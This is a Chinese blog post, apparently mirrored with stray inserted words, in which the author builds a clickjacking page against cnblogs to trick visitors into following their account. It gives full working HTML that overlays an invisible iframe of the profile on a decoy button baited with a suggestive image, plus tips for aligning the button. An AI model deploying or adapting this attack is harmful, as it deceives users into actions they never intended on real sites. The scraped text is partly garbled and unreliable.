造一个点击劫持clickjacking来涨粉

时间 2020-06-05

标签一个点击劫持 clickjacking 繁體版

原文原文链接

卑微小吴，挖洞挖不到，关注我博客的人也才一个。正好在学点击劫持，因而想能不能造一个相似于facebook likejacking 的 cnblog likejacking 这种骚套路来骗人关注我。嗯，是个好想法！css

第一步，选张羞羞的图片

例如：
html

第二步，建一个html文件

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width: 100%;
height: 100%;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);   //这里写三种不一样的透明度设置呢是想适配各大浏览器
}
button {
	display: block;
	width: 68.8px;
	height: 25.6px;
	border-radius:2em;
	font-size: 12px;
	background-color: #f2fddb;
	border: 1px solid #aecd3d;
	position: absolute;
	top: 298px;
	left: 631px;
}
</style>
</head>
<body>
<button>你懂的</button>
<img src="xiuxiutu.png">   //这里写图片地址
<iframe src="https://home.cnblogs.com/u/wjrblogs/" scrolling="no"></iframe>  //这里写博客首页地址
</body>
</html>

打开看看，一个羞羞羞的网站哦浏览器

预览网页，点一下不会吃亏，不会上当！！！点就完事，奥里给！！！
函数

在制做过程当中的一些小 tips

如何设置与cnblog上同样形状的按钮

以火狐浏览器为例，首先按下F12，而后选中按钮，在右下角即可以看到按钮的样式了，选择一些决定按钮形状的css属性便可
如我这里选择了：display: block;、border-radius:2em;
如何肯定按钮大小呢？看到图片中的第二步，在选中标签的时候，上面提供了标签的大小(上面的黑框框)，也就是：width: 68.8px;、height: 25.6px;
标签内的字体大小须要根据具体字数来决定，我这里三个字，也就相应的设置为：font-size: 12px;
颜色边框什么的就随便设置一下，这里我就直接复制的cnblog按钮的颜色属性：background-color: #f2fddb;、border: 1px solid #aecd3d;工具

如何肯定按钮的位置
注意：这里不要傻傻的用工具去测像素，由于屏幕分辨率不一样，你测的像素也会不一样

获取按钮距离顶部的长度
不少时候，标签若不是采用绝对定位便很难获取它距离顶部的距离

骚操做：
学习

按下F12,滑动滚动条至按钮的上边框与浏览器边框大体重合，在控制台输入以下函数 document.documentElement.scrollTop，这个函数的大体意思就是获取你的滚动条滚动了多长，而后就获得大体的距离了 -- 295px字体

获取按钮距离边框的长度

看了上面，师傅们应该是想到了怎么获取距离边框的长度了，不就是document.documentElement.scrollLeft嘛，没一点技术含量！
我一开始也是这么想的，结果在我缩小浏览器窗口大小想要获得距离的时候，个人心态发生了一点变化
缩大了，按钮的左边框不能与浏览器边框重合，缩小了页面直接变成了下面这个样子，按钮本身跑到边上去了
网站

那么到底如何取得按钮距离边框的长度？敬请收看今晚的焦点访谈之走进真相。
就在我一筹莫展之时，脑海中浮现了我二十年来学习得数学知识三七二十一，三八妇女节，三角形类似、类似三角形对应边成比例，哎利用比例不就好了？
ui

利用qq截图，用像素测出来距离上边框373px，距离侧边框785px，由学习过的方程可得出 373/785=295/x，通过一番心算，我得出来了 x=620.844805
又由学过的数学知识四舍五入获得按钮距离边框的长度大体为 620px，ohohohohohohohohohohohohohohohohoh my god！网安要学好，数学少不了！3d

通过一点点得修改，最终设置了：position: absolute;、top: 298px;、left: 631px;

最终结果

从新注册了一个帐号，我成功的让个人小号关注了我。oh my god！个人关注竟然涨了，成功到达2了耶！！！！！！！难以想象。这真是一个历史性的时刻，我要把它记录下来！！